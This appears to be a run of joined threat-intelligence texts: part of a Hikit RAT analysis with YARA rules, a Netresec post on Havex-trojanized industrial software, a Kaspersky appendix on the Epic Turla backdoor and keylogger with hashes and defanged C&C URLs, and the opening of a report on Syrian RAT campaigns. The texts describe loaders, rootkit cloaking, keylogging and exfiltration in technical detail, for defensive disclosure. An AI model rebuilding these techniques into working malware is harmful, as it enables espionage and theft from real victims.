executable (right) Loader startup routines Figure 1 provides a side by side comparison of the startup routines for the executable and DLL Loaders. Both versions of the Loader begin by loading the embedded DLL from the Loader s resources (item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory, then manually loading the DLL into memory using a custom loading routine. The function LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation. Figure 2: LoadEmbeddedImage function snippet The Loader obfuscates many strings by using a simple XOR encoding scheme. Decryption of encoded strings consists of taking the first value of the string as the XOR key, XOR ing all subsequent bytes until the result of the XOR returns 0. The decoding of the encoded strings is handled by the DecodeString function. The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image. In order to locate the embedded DLL, LoadEmbeddedImage will use the DecodeString function to decrypt the delimiter string (which is typically zzzzzzzzzz yyyyyyyyyy) and then search the icon resource memory for the delimiter string. Once located, LoadEmbeddedImage will use the first 12 bytes immediately after the string as the information structure about the embedded DLL. The structure (seen below) defines the size of the embedded DLL within the icon s resource memory, the size of the DLL after it is decompressed and a 4-byte XOR key that LoadEmbeddedImage must use to decode the embedded DLL prior to decompression. struct ImageHeader DWORD dwImageEncodedSize; DWORD dwImageSizeDecompressed; DWORD EncodingKey; LoadEmbeddedImage copies the compressed embedded DLL into a newly allocated heap buffer and then calls the function decodeBuffer (using the EncodingKey value) to decrypt the embedded DLL. Another heap buffer is allocated with a size equal to the value of dwImageSizeDecompressed. decompression buffer along with the now decoded compressed buffer are given to lzo_decompress which decompresses the compressed image using the LZO1X algorithm5. With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage calls ImageLoaderData::LoadDll to manually load the DLL into memory. ImageLoaderData::LoadDll interprets the PE/COFF header of the DLL image, loads the image into the appropriate memory configuration, performs the necessary relocation operations, and calls the DllMain (DLL s entry point) function. After loading the embedded DLL image into memory, the Loader will either call the DLL StartServer MatrixMain function depending on the type of Loader. The standalone Loaders use MatrixMain function while the DLL Loaders will call the StartServer function. The Loaders, upon unloading, will call the StopServer function in order to shut down the embedded DLL. The Gen 2 DLL exposes five exported functions (besides the DllEntryPoint/DllMain). Export Name DllRegisterServer MatrixMain SetModuleHandle StartServer StopServer Description If the Gen 2 RAT is running, waits for the RAT to shut down before returning. Activates the Gen 2 RAT (called from a stand-alone Loader) The given parameter becomes the new module handle for the RAT. Activates the Gen 2 RAT (called from a DLL Loader) Stops the Gen 2 RAT (called from a DLL Loader) MatrixMain StartServer both ultimately generate a new thread (using the POSIX API function beginthreadex instead of the more common CreateThread) that contains the main loop of the Gen 2 RAT functionality. MatrixMain, however, has added functionality. The prototype for MatrixMain is as follows: int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)) Markus F.X.J. Oberhumer, real- time data compression library http://www.oberhumer.com/opensource/lzo/. June 2014. where Arguments parameter can be: Arguments string test {DWORD identifier (IP?)} {listening Port} [C2 address] [C2 port] Purpose Overrides the current configuration with the given settings. The C2 arguments are optional. Installs trojan service Uninstalls the trojan service Sets the SHOW flag for the service to instruct the Driver to reveal the service. Sets the HIDE flag for the service to instruct the Driver to hide the service. Sets the STOP flag for the RAT. If the i parameter is given, the DLL will install itself as a service on the victim s machine. The DLL will create a new service (e.g. Network DDE Service ) and assign itself as the executable for the service. The DLL s RAT functionality provides basic features such as network port forwarding (proxying), file transfer, and remote command shell. The RAT functionality provides an attacker with the ability to establish a phantom network within a victim s infrastructure by having individual instances of Gen 2 DLL listen for incoming connections on local ports (presumably, NAT d ports) and accept commands from the inbound connection. This allows an attacker to establish several Gen2 infections within a victim infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker can route commands to the pseudo-isolated infections through accessible infected machines providing a high level of persistence to the malware. Each Gen 2 infection can support up to 10 listening ports. The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of the internal routing functionality) is encrypted using a simple DWORD XOR scheme. Each communication burst (either between the malware and the C2 or the malware and neighboring malware) begins with a 24-byte header identical to the header found in Gen 1.2. Immediately following the header is the type-specific (as indicated by the dwPayloadType field) payload data. Note that the dwXORKey value is NOT encoded with the XOR value, but rather is the value that is used for encoding the header and payload. Each DLL includes a hardcoded, default configuration. At the time that the RAT functionality activates, the DLL will drop the current configuration to disk. If the configuration file already exists, then the RAT will use the file version of the configuration over the default configuration. The configuration data structure (seen below) doubles as a current state record for some aspects of the communication subsystem of the DLL. When stored on disk, the configuration is preceded by a GUID value (16 bytes) that represents the unique identifier for the specific infection. The configuration is XOR encoded using the first 4 bytes (as a DWORD) of the GUID. struct Config WCHAR wszComment[32]; C2ConfigInfo arrC2s[2]; ListeningPortConfig ListeningPorts[10]; int dwStartTime; int dwEndTime; __int16 Flags; SYSTEMTIME sleepUntil; __int16 unused_align2_2; int fRunHidden; struct C2ConfigInfo WCHAR wszAddress[32]; __int16 wPort; __int16 unused_align2; int fValidC2; struct ListeningPortConfig unsigned __int16 wPort; unsigned __int16 unused_align2; int fReady; SOCKET hSocket; HANDLE hEvent; HANDLE hListenerThread; In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows. The DLL contains a device driver image embedded within an encoded buffer which the RAT functionality code will extract to the %TEMP% directory (after XOR ing the buffer with 0x76). To activate the rootkit, the RAT functionality code creates a service with the driver in the %TEMP% directory as the executable for the service. The RAT functionality code then activates the service and opens a handle to device driver s interface (e.g. \Globals\HTTPS). With the handle open to the rootkit driver, the RAT functionality code deletes the service in order to reduce the visible footprint of the new driver. To further reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the rootkit to hide the DLL s PID, any references to the GUID {4AE26357-79A3-466D-A6D9FC38BFB67DEA}, the DLL s service names (e.g. NetDDESrv and "Network DDE Service") and the service entry as well. Additionally, the code also attempts to hide a service named Hitx Support Software In addition to the main Hikit malware, there are at least two examples of support programs that belong to the Hikit family. Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and 7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator consoles. The console is a text based application that takes a Gen 1.0 or Gen 1.2 infection s IP address and proceeds to connect and authenticate with the infected server. Once connected, the operator has the basic Hikit functionalities available to them via commands such as file and shell. Detection Detecting Hikit variants on disk and in memory is possible using the following YARA signature developed by Symantec: rule hikit strings: $hikit_pdb1 = /(H|h)ikit_/ $hikit_pdb2 = "hikit\\" $hikit_str3 = "hikit>" wide $driver = "w7fw.sys" wide $device = "\\Device\\w7fw" wide $global = "Global\\%s__HIDE__" wide nocase $backdr = "backdoor closed" wide $hidden = "*****Hidden:" wide condition: (1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or $device or $global or $backdr or $hidden) rule hikit2 strings: $magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00} $magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 condition: $magic1 and $magic2 rule hidkit strings: $a = "---HIDE" $b = "hide---port = %d" condition: uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the communication structure. The encrypted nature of the nominal Gen 1.2 and later network traffic makes a signature difficult. Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0 and Gen 1.1. From a system objects perspective, Gen 2 samples produce up to three named events. The event names change per infection, but have a common format. The following three strings represent the known mutex strings for Gen 2 samples: Global\%s__SHOW__ Global\%s__HIDE__ Global\%s__STOP__ where the %s format variable is replaced with a UUID value string specific to the infected machine. Appendix A: HiKit Versions Generation Identifier Gen 1.0 Gen 1.1 Gen 2.0 Alpha Starting Date Notable Features 31 March 2011 18 April 2011 28 August 2011 Gen 1.2 23 October 2011 Gen 2.0 Beta Gen 2.1 27 February 2012 First known Hikit samples. Stand-alone console executable. Uses DLL and driver model. First client-based Hikit variants. Stand-alone console executable. Does not use a device driver. Encrypted communication. Command socks5 changes to proxy . Encrypted communication. Introduces the use of the device driver. Gen 2.2 21 February 2013 Gen 2.3 12 December 2013 17 April, 2012 First known production variant of the Gen 2 family. Uses the concept of the Loader, the DLL and the Driver as a complete system. Changes storage location for configuration file. Largely similar to Gen 2.1. DLL-based and executable-based loaders. Largest in-service time span. Significantly more advanced authentication when doing intramalware communication. Use of SSL certificate during handshake. Full Disclosure of Havex Trojans Monday, 27 October 2014 11:11:00 (UTC/GMT) I did a presentation at the 4SICS conference earlier this week, where I disclosed the results from my analysis of the Havex RAT/backdoor (slides available here). The Havex backdoor is developed and used by a hacker group called Dragonfly, who are also known as "Energetic Bear" and "Crouching Yeti". Dragonfly is an APT hacker group, who have been reported to specifically target organizations in the energy sector as well as companies in other ICS sectors such as industrial/machinery, manufacturing and pharmaceutical. In my 4SICS talk I disclosed a previously unpublished comprehensive view of ICS software that has been trojanized with the Havex backdoor, complete with screenshots, version numbers and checksums. Dale Petersen, founder of Digital Bond, expressed the following request regarding the lack of public information about the software trojanized with Havex: If the names of the vendors that unwittingly spread Havex were made public, the wide coverage would likely reach most of the affected asset owners. Following Dale's request we decided to publish the information presented at 4SICS also in this blog post, in order to reach as many affected asset owners as possible. The information published here is based on our own sandbox executions of Havex malware samples, which we have obtained via CodeAndSec and malwr.com. In addition to what I presented at 4SICS, this blog post also includes new findings published by Joel "scadahacker" Langill in version 2.0 of his Dragonfly white paper, which was released just a couple of hours after my talk. In Symantec's blog post about Havex they write: Three different ICS equipment providers were targeted and malware was inserted into the software bundles Trojanized MESA Imaging driver The first vendor known to have their software trojanized by the Dragonfly group was the Swiss company MESA Imaging, who manufacture industrial grade cameras for range measurements. Image: Screenshot of trojanized MESA Imaging driver installer from our sandbox execution Company: MESA Imaging Product: Swiss Ranger version 1.0.14.706 (libMesaSR) Filename: SwissrangerSetup1.0.14.706.exe Exposure: Six weeks in June and July 2013 (source: Symantec) Backdoor: Sysmain RAT MD5: SHA256: e027d4395d9ac9cc980d6a91122d2d83 398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 eWON / Talk2M The second vendor to have their software trojanized was the Belgian company eWON, who provide a remote maintenance service for industrial control systems called Talk2M eWon published an incident report in January 2014 and then a follow-up report in July 2014 saying: Back in January 2014, the eWON commercial web site www.ewon.biz had been compromised. A corrupted eCatcherSetup.exe file had been uploaded into the CMS (Content Management System) of www.ewon.biz web site. eCatcher download hyperlinks were rerouted to this corrupted file. The corrupted eCatcherSetup.exe contained a malware which could, under restricted conditions, compromise the Talk2M login of the infected user. Image: Screenshot of trojanized Talk2M eCatcher installer from our sandbox execution Company: eWON Product: Talk2M eCatcher version 4.0.0.13073 Filename: eCatcherSetup.exe Exposure: Ten days in January 2014, 250 copies downloaded (source: Symantec) Backdoor: Havex 038 MD5: SHA256: eb0dacdc8b346f44c8c370408bad4306 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 Prior to version 2.0 of Joel's Dragonfly report, eCatcher was the only product from eWON known to be infected with the Havex backdoor. However, Joel's report also listed a product called eGrabit , which we managed to obtain a malware sample for via malwr.com. Image: Screenshot of trojanized eGrabIt installer from our sandbox execution Company: eWON Product: eGrabIt 3.0.0.82 (version 3.0 Build 82) Filename: egrabitsetup.exe Exposure: unknown Backdoor: Havex RAT 038 MD5: SHA256: 1080e27b83c37dfeaa0daaa619bdf478 0007ccdddb12491e14c64317f314c15e0628c666b619b10aed199eefcfe09705 MB Connect Line The most recent company known to have their software infected with the Havex backdoor was the German company MB Connect Line GmbH, who are known for their industrial router mbNET and VPN service mbCONNECT24. MB Connect Line published a report about the Dragonfly intrusion in September 2014, where they write: On 16th of April 2014 our website www.mbconnectline.com has been attacked by hackers. The files mbCHECK (Europe), VCOM_LAN2 and mbCONFTOOL have been replaced with infected files. These files were available from 16th of April 2014 to 23th of April 2014 for download from our website. All of these files were infected with the known Trojan Virus Havex Rat. Image: Screenshot of trojanized mbCONFTOOL installer from our sandbox execution Company: MB Connect Line GmbH Product: mbCONFTOOL V 1.0.1 Filename: setup_1.0.1.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: Havex RAT 044 MD5: SHA256: 0a9ae7fdcd9a9fe0d8c5c106e8940701 c32277fba70c82b237a86e9b542eb11b2b49e4995817b7c2da3ef67f6a971d4a Image: Screenshot of trojanized mbCHECK application from our sandbox execution Company: MB Connect Line GmbH Product: mbCHECK (EUROPE) V 1.1.1 Filename: mbCHECK.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: Havex RAT 044 MD5: SHA256: 1d6b11f85debdda27e873662e721289e 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 Notice how only mbCHECK for users in Europe was trojanized, there has been no report of the USA/CAN version of mbCHECK being infected with Havex. We have not been able to get hold of a malware sample for the trojanized version of VCOM_LAN2. The screenshot below is therefore from a clean version of this software. Image: Screenshot VCOM_LAN2 installer Company: MB Connect Line GmbH Product: VCOM_LAN2 Filename: setupvcom_lan2.exe Exposure: April 16 to April 23, 2014 (source: MB Connect Line) Backdoor: unknown MD5: unknown SHA256: unknown Conclusions on Havex Trojans The vendors who have gotten their software trojanized by Dragonfly are all European ICS companies (Switzerland, Belgium and Germany). Additionally, only the mbCHECK version for users in Europe was infected with Havex, but not the one for US / Canada. These facts indicate that the Dragonfly / Energetic Bear threat actor seems to primarily target ICS companies in Europe. Next: Detecting Havex with NSM We're currently working on a follow-up blog post, which shows how to detect and analyze network traffic from ICS networks infected with Havex. Share | Short URL: http://netresec.com/?b=14ABDA4 Posted by Erik Hjelmvik on Monday, 27 October 2014 11:11:00 (UTC/GMT) The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros Kaspersky Lab Global Research and Analysis Team Version 1.0 August 6, 2014 Technical appendix: malware samples and indicators of compromise (IOC) A. Keylogger module File name: varies MD5: a3cbf6179d437909eb532b7319b3dafe Compilation timestamp: 2012.10.02 10:51:50 (GMT) Compiler: Microsoft Visual Studio 2010 File format: PE32 DLL Exports: _LowLevelKeyboardProc@12 Creates the log file: %TEMP%\~DFD3O8.tmp. If failed, tries to write to the file f:\keyhook.log Each time the keylogger starts, it appends the following header to the log file: -------------------------------------------------------------------------------New Session: %fully qualified computer name% %timestamp% -------------------------------------------------------------------------------- It then creates a hidden console window and registers its only export _LowLevelKeyboardProc@12 as a hook procedure for low-level keyboard input events (WH_KEYBOARD_LL hook). Depending on the results, it writes a line to its log file. In case the hook was installed, the line is Started... , else LoadLibrary %path to its file% failed, %error code% It also starts a thread that retrieves the current foreground window handle every 100 milliseconds. This handle is then used in the keyboard hook procedure. The low-level keyboard hook procedure intercepts WM_KEYDOWN, WM_KEYUP and WM_ SYSKEYDOWN system messages and writes information about each keystroke to the log file. Every time a new window becomes active, it retrieves its name and the path to its application and writes this information to the log file: [%path to the application s executable file%: %window title% TLP: Green For any inquire please contact intelreports@kaspersky.com B. The Epic/Tavdig/Wipbot backdoor (Main backdoor module) Analyzed file (others are similar): Compilation timestamp: 2013.10.15 10:43:09 (GMT) File format: PE32 DLL, modified (the file is supposed to be started by a custom loader) Exports: 1000837F: ModuleStart 100083A9: ModuleStop 100083BB: start The main functionality is implemented in a single function that is called by the DllMain entry point. The exported functions allow to call the same function directly (exported as start ) or to start/stop it in a separate thread ( ModuleStart ModuleStop ) and with slightly different parameters. This indicates the backdoor can also function as a plugin for the Turla Carbon system. The main function executes in an infinite loop. It collects most of the available information about the system, transmits it to the C&C server and executes the commands it receives back. The module delays execution for random periods while it discovers running processes with one of the following filenames: tcpdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe dsniff.exe The following system information is collected: Hardware information. Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ SystemInformation, value names: SystemManufacturer, SystemProductName. All registry subkeys of the key HARDWARE\DESCRIPTION\System\CentralProcessor, value name: ProcessorNameString. Available system memory status, total/free. OS version information; the newest version known to it is Windows 7 / 2008R2. Unidentified versions are marked as not support this version of Windows Computer name ( ComputerNamePhysicalDnsFullyQualified TLP: Green For any inquire please contact intelreports@kaspersky.com User name, local group name. Common directory names: system, current, temporary directories. Additional system information: System and user language settings User locale information: country name, current date, time zone. Uptime Disk space information for all available logical drives. List of available network shares. List of all user accounts, privilege classes, time of the last logon. List of current IPV4 TCP connections and UDP listeners. Information about installed Windows updates from the file %WINDOWS%\SoftwareDistribution\ReportingEvents.log. Detailed list of running processes and their owners. List of all window titles. Directory listing of available logical drives and of the directories: Desktop %TEMP% %WINDOWS%\Temp The retrieved information is compressed using bzip2, encrypted with AES and then encoded using Base64 before being transmitted to the C&C server. When there is a file waiting for upload (usually, this is file that contains the results of the previously received and executed command), it is read from disk and uploaded to the server instead of the system information. The C&C communication is implemented on top of the standard HTTP/HTTPS protocols. The list of the C&C URLs is hardcoded in the binary but may be overridden by further commands. C&C server communication cycle TLP: Green For any inquire please contact intelreports@kaspersky.com The module uses Wininet API functions for issuing HTTP POST requests to the server. The module transmits the collected information in the body of the POST request and gets new commands from the server s response. The request body can be empty if there is no new information to upload. The response is usually an HTML document and the commands are Base64-encoded strings enclosed in
/
tags. Every command is encrypted using asymmetric encryption with temporary AES session keys. Each command is a mixed text/binary buffer. It consists of two parts: payload and configuration. The configuration is an INI file that controls the further behavior of the module. It is extracted into a temporary file named %TEMP%\~D%random%.tmp. The payload, if exists, is supposed to be an executable file and may be executed if there is a corresponding command present in the INI part. The format of the decoded command is the following: Format of the C&C command buffer Available commands are: Name Description Execute a command, redirect its output to the file %TEMP%\~D%random%.tmp. down Change the C&C URL to a given value. del_task Delete a file. result Set the filename that is supposed to contain the results of command execution. Effectively, any existing file may be marked for upload by this command. TLP: Green The file is then uploaded during the next C&C communication cycle. For any inquire please contact intelreports@kaspersky.com Name Description delete Mark the file %TEMP%\~tmp085.dat to be deleted on reboot. name Set the filename to be deleted or created (depends on other parameters) TLP: Green For any inquire please contact intelreports@kaspersky.com C. Malware samples Lateral movement tools: a3cbf6179d437909eb532b7319b3dafe - custom keylogger 1369fee289fe7798a02cde100a5e91d8 - UPX compressed dnsquery.exe c0c03b71684eb0545ef9182f5f9928ca - dnsquery.exe Epic/Tavdig backdoors: 4dc22c1695d1f275c3b6e503a1b171f5 111ed2f02d8af54d0b982d8c9dd4932e 7731d42b043865559258464fe1c98513 24b354f8cfb6a181906ceaf9a7ec28b0 fdba4370b60eda1ee852c6515da9da58 3ab3d463575a011dfad630da154600b5 a347af5cc3c5429911e5167b2d30e1ac 6b207521c9175d2274ba3debcc700a1d cb264c9efa566f41975a3cebf903efb5 e9c0d32a15a24b1110fcc18ab04a6738 d102e873971aa4190a809039bc789e4d d7ca9cf72753df7392bfeea834bcf992 - dropped by the Java CVE-2012-1723 exploits 42b7b0bd4795fc8e336e1f145fc2d27c ab686acde338c67bec8ab42519714273 8e90d8b68a053d22b54fb39f1cf01a41 d22b0ec4e9b2302c07f38c835a78148a 764d643e5cdf3b8d4a04b50d0bc44660 d31f1d873fa3591c027b54c2aa76a52b ea1c266eec718323265c16b1fdc92dac bc2eff0a1544e74462e7377cf0de5a36 d22b0ec4e9b2302c07f38c835a78148a 86f28e8d9d6bda11abcf93b76074b311 d28661163ae91848e01a733836bfe0aa 09b7f890ccded1a6210119df8a9a08f9 5c4a51ce7aa76579616a01a0a3cfab38 aa58167c57cac1bc562c77766ca249f5 3a785ede87bfbd2c1c29887e9c36c801 7731d42b043865559258464fe1c98513 0e441602449856e57d1105496023f458 TLP: Green For any inquire please contact intelreports@kaspersky.com Dropper packages that installs both Epic and Turla Carbon system: c7617251d523f3bc4189d53df1985ca9 - Postanovlenie apelljacionnoj instancii.scr 0f76ef2e6572befdc2ca1ca2ab15e5a1 - Opredelenie.scr PDF exploits used in spearphishing attacks drops Epic backdoor: 6776bda19a3a8ed4c2870c34279dbaa9 - Note_ 107-41D.pdf dba209c99df5e94c13b1f44c0f23ef2b - unknown.PDF f44b1dea7e56b5eac95c12732d9d6435 - unknown.PDF 4c65126ae52cadb76ca1a9cfb8b4ce74 - unknown.PDF SCR/EXE files - used in spearphishing/social engineering: 4d667af648047f2bd24511ef8f36c9cc - NATO position on Syria.scr ab686acde338c67bec8ab42519714273 - Russia position on Syria.scr 1c3634c7777bd6667936ec279bac5c2a - Talking Points.scr 80323d1f7033bf33875624914a6a6010 - Program.scr 77083b1709681d43a1b0503057b6f096 - Security protocol.scr 01a15540481f28163e7b4908034efbe3 - unknown.exe ( WorldCupSec 6a24071fde3b5d713c58801dcdd62044 - unknown.exe ( WorldCupSec 626955d20325371aca2742a70d6861ab - unknown.exe ( TadjMakhal 16eba8e5f0440a213935e1af4976d801 - unknown.exe ( RussiaPositions 0c35a8f9f9b6ab2f7e3b4408abc61f73 - pdfview.exe d685403d000f8f6b25a6746f6f05a51c - winword.exe Fake Adobe Flash Player Epic backdoor installers: 7c52c340ec5c6f57ef2fd174e6490433 - adobe_flash_player.exe 030f5fdb78bfc1ce7b459d3cc2cf1877 - Shockwave_Flash_Player.exe Fake Microsoft Security Essentials Quick Scan Epic backdoor installer 89b0f1a3a667e5cd43f5670e12dba411 Turla Carbon Pfinet backdoors e9580b6b13822090db018c320e80865f - Pfinet backdoor 071d3b60ebec2095165b6879e41211f2 - Pfinet backdoor TLP: Green For any inquire please contact intelreports@kaspersky.com Turla Carbon package cb1b68d9971c2353c2d6a8119c49b51f Related Turla sample module 626576e5f0f85d77c460a322a92bb267 Java Exploits used in waterhole attacks 536eca0defc14eff0a38b64c74e03c79 f41077c4734ef27dec41c89223136cf8 15060a4b998d8e288589d31ccd230f86 e481f5ea90d684e5986e70e6338539b4 21cbc17b28126b88b954b3b123958b46 acae4a875cd160c015adfdea57bd62c4 TLP: Green For any inquire please contact intelreports@kaspersky.com D. Epic C&C Server URLs (hacked sites used as 1st level proxies): hxxp://losdivulgadores[.]com/wp-content/plugins/wp-themes/ hxxp://gspersia[.]com/first/fa/components/com_sitemap/ hxxp://blog.epiccosplay[.]com/wp-includes/sitemap/ hxxp://gofree[.]ir/wp-content/plugins/online-chat/ hxxp://homaxcompany[.]com/components/com_sitemap/ hxxp://www.hadilotfi[.]com/wp-content/themes/profile/ hxxp://mortezanevis[.]ir/wp-content/plugins/wp-static/ hxxp://ncmp2014[.]com/modules/mod_feed/feed/ hxxp://mebroad[.]com/wp-content/gallery/posters/img/ hxxp://gruenerenate[.]de/wp-content/plugins/bbpress/includes/lang/ hxxp://www.arshinmalalan[.]com/themes/v6/templates/css/in.php hxxp://products.parentsupermarket[.]com/phpMyAdmin/ hxxp://c-si[.]ir/includes/ hxxp://mkiyanpoor[.]ir/wp-includes/ hxxp://www.massage-ketsch[.]de/wp-includes/ hxxp://onereliablesource[.]com/wp-content/plugins/sitemap/ hxxp://petrymantenimiento[.]com/wp-content/plugins/wordpress-form-manager/lang/ hxxp://ohsoverydarling[.]com/wp-content/themes/verification/ hxxp://poissonnerieantoine[.]com/web/wp-content/themes/titan/view/ hxxp://www.gholghola[.]com/azemashoorhost/smarty/tmpl/ hxxp://www.saglikdetay[.]com/wp-includes/images/icons/ hxxp://www.entesharati[.]com/wp-content/plugins/edd-paginate/ hxxp://iranabad[.]com/sarzamin/cms/application/classess/plugins/ hxxp://deltateam[.]ir/components/com_sitemap/ hxxp://akva-clean[.]ru/typo3temp/ hxxp://discontr[.]com/wp-content/themes/twentytwelve/ hxxp://curaj[.]net/pepeni/images/ hxxp://executrek[.]org/components/com_sitemap/ hxxp://amoodgostar[.]com/wp-content/themes/simplebanner/ hxxp://gayamore[.]com/gallery/090607/ hxxp://www.automation-net[.]ru/typo3temp/ hxxp://www.lacitedufleuve[.]com/Connections1/ hxxp://www.aspit[.]sn/administrator/modules/mod_feed/ TLP: Green For any inquire please contact intelreports@kaspersky.com E. Intermediary level proxies (hacked sites used as 2nd/3rd level): hxxp://masterciw[.]com/ hxxp://khrn[.]tk/wp-includes/ hxxp://pradlolux[.]cz/system/helper/ hxxp://original-key[.]com/catalog/controller/payment/ hxxp://www.noraci[.]com/wp-includes/ hxxp://tuvpr[.]com/backup/wp-includes/ hxxp://www.boshraamin[.]com/wp-includes/ hxxp://www.bestjob[.]my/system/modules/comments/ hxxp://rollinghillsfitness[.]com/wp-includes/ TLP: Green For any inquire please contact intelreports@kaspersky.com F. Motherships, hosting Epic Control panels and exploits hxxp://avg-update.sytes[.]net/ hxxp://newsforum.servehttp[.]com/ hxxp://newsweek.servehttp[.]com/ hxxp://adobe.faqserv[.]com/ hxxp://cqcount.servehttp[.]com/ hxxp://easycounter.sytes[.]net/ hxxp://newsweek.serveblog[.]net/ hxxp://image.servepics[.]com/ hxxp://bgl.serveftp[.]net/ TLP: Green For any inquire please contact intelreports@kaspersky.com Syrian Malware, the ever-evolving threat Kaspersky Lab Global Research and Analysis Team Version 1.0 August 2014 1. Executive Summary The Global Research and Analysis Team (GReAT) at Kaspersky Lab has discovered new malware attacks in Syria, with malicious entities using a plethora of methods from their toolbox to hide and operate malware. In addition to proficient social engineering tricks, victims are often tempted to open and explore malicious files because of the dire need for privacy and security tools in the region. In the hopes of maintaining anonymity and installing the latest protection , victims fall prey to these malicious creations. A vast majority of the samples obtained were found on activist sites and in social networking forums. The victims are distributed across different countries: Syria Lebanon Turkey Kingdom of Saudi Arabia Egypt Jordan Palestine United Arab Emirates Israel Morocco United States The group members are operating from different locations around the world: Syria Russian Federation Lebanon The group s attacks are evolving and they are making extensive use of social engineering techniques to trick targeted victims into running their malicious files. Among the principal file extensions observed among the malware samples obtained we can list: .exe .dll .pif .scr TLP: Green For any inquire please contact intelreports@kaspersky.com The group is relying on RAT (Remote Access Tool) Trojan tools, of which the most common are: ShadowTech RAT Xtreme RAT NjRAT Bitcomet RAT Dark Comet RAT Blackshades RAT The number of malicious files found is 110, with a big increase seen in recent attacks. The number of domains linked to the attacks is 20. The number of IP addresses linked to the attacks is 47. The samples details and domains lists used by the attackers can be found in the Appendices 1 and 2 in the end of the document. Protection and resilience against these attacks is ensured through the use of a multi-layered security approach, having up to date security products, and mainly by being sceptical about suspicious files. TLP: Green For any inquire please contact intelreports@kaspersky.com Contents 1. Executive Summary 2. Introduction 3. Analysis 3.1. Infection Vectors 3.1.1. Skype messages 3.1.2. Facebook posts 3.1.3. YouTube Videos 3.2. Samples and types of files 3.2.1. The National Security Program 3.2.2. Files named Scandals are quite attractive 3.2.3. Ammazon Internet Security the popular Antivirus 3.2.4. You ve installed the latest antivirus solution, now let protect your network 3.2.5. Whatsapp and Viber for PC: Instant messaging, instant infection 3.2.6. Beware of chemical attacks 3.2.7. Commands and functionality 3.2.8. Evolution of malware attack file numbers 3.2.9. Locations, domains and team 3.2.10. Victims 3.2.11. Activist Behavior 3.3. Attribution 4. Kaspersky Lab MENA RAT Statistics 5. Conclusion Appendix 1: Samples Appendix 2: C&C Domains TLP: Green For any inquire please contact intelreports@kaspersky.com 2. Introduction The geopolitical conflicts in the Middle East have deepened in the last few years; Syria is no exception. The crisis is taking many forms, and the cyberspace conflict is intensifying as sides try to tilt the struggle, by exploiting cyber intelligence and exercising distortion. In the last few years cyber-attacks in Syria have moved into the front line; many activities in cyberspace have been linked to Syria, especially those conducted by the Syrian Electronic Army and pro-government groups. The Global Research and Analysis Team (GReAT) at Kaspersky Lab has found new malware attacks in Syria, using new but not advanced techniques to hide and operate malware, in addition to using proficient social engineering tricks to deliver malware by tricking and tempting victims into opening and exploring malicious files. The malware files have been found on hacked activist sites, web pages and in social networking forums. Cyber Arabs, an Arabic-language digital security project of the IWPR (Institute for War and Peace Reporting), reported four of these samples in March 2014. The same samples were also reported on Syrian Facebook pages ( , Technicians For Freedom): https://www.facebook.com/ tech4freedom Given the complexity of the situation, there are many factors and entities at play in this event, but from the outside these are all largely speculative. Pro-government groups talk about defense and opposition activists talk about offense . Here, we will only focus on the malware and the facts that have been found during the analysis, presenting only relevant information, in the hope of setting a clear context for this research. TLP: Green For any inquire please contact intelreports@kaspersky.com 3. Analysis 3.1. Infection Vectors Malware writers are using multiple techniques to deliver their files and entice the victims to run them, creating an effective infection vector. Mainly depending on social engineering the attackers exploit: Victims trust in social networking forums Victims curiosity in following news related to political conflict in Syria Victims fear of attacks from government Victims lack of technology awareness Once they have infected the victim s computer, attackers have full access and control over victim devices. In the following section we show different versions of posts sent via popular file sharing sites or social networking platforms. The sample details and domain lists used by the attackers can be found in the Appendices 1 and 2 in the end of the document. 3.1.1. Skype messages Messages sent via Skype offer links to download: 1. The SSH VPN program to encrypt communication 2. The popular and effective antivirus with daily updates from Ammazon Internet Security 3. The SmartFirewall to block connections made by malware and bad programs The messages are usually sent from fake or compromised accounts. TLP: Green For any inquire please contact intelreports@kaspersky.com 3.1.2. Facebook posts The same messages sent via Skype are also shared via the Facebook social platform, asking victims to install these security programs to protect themselves from malware infections and cyber-attacks, especially government attacks. TLP: Green For any inquire please contact intelreports@kaspersky.com 3.1.3. YouTube Videos In the following example, we can see a YouTube video providing links to download fake Whatsapp and Viber applications for PC. By using everyday technologies that are commonly used by a broad audience, attackers increase the effectiveness of their operations and their infection rates. TLP: Green For any inquire please contact intelreports@kaspersky.com 3.2. Samples and types of files Analysis has led us to identify the following RAT variants being used in the wild: ShadowTech RAT Xtreme RAT NjRAT Bitcomet RAT Dark Comet RAT BlackShades RAT The samples collected during our research can be classified as follows. Old samples Samples obtained during 2013 are simple RAT executable files, compressed and sent to victims using a wide range of delivery options. Newer samples were typically found to use .scr containers in order to hide malicious files and avoid early detection by security solutions. New samples More recent samples, starting from the end of 2013, have shown a more organized development effort, creating highly stealth and graphically-enticing applications. In this analysis we have seen how Syrian malware has evolved, showing no signs of stopping any time soon. Even though new malicious Syrian samples are appearing each day, the subset presented here will hopefully give the reader an overall view of the techniques and tools that are currently being used to target Syrian citizens. 3.2.1. The National Security Program Curiosity killed the cat: browsing a previously leaked 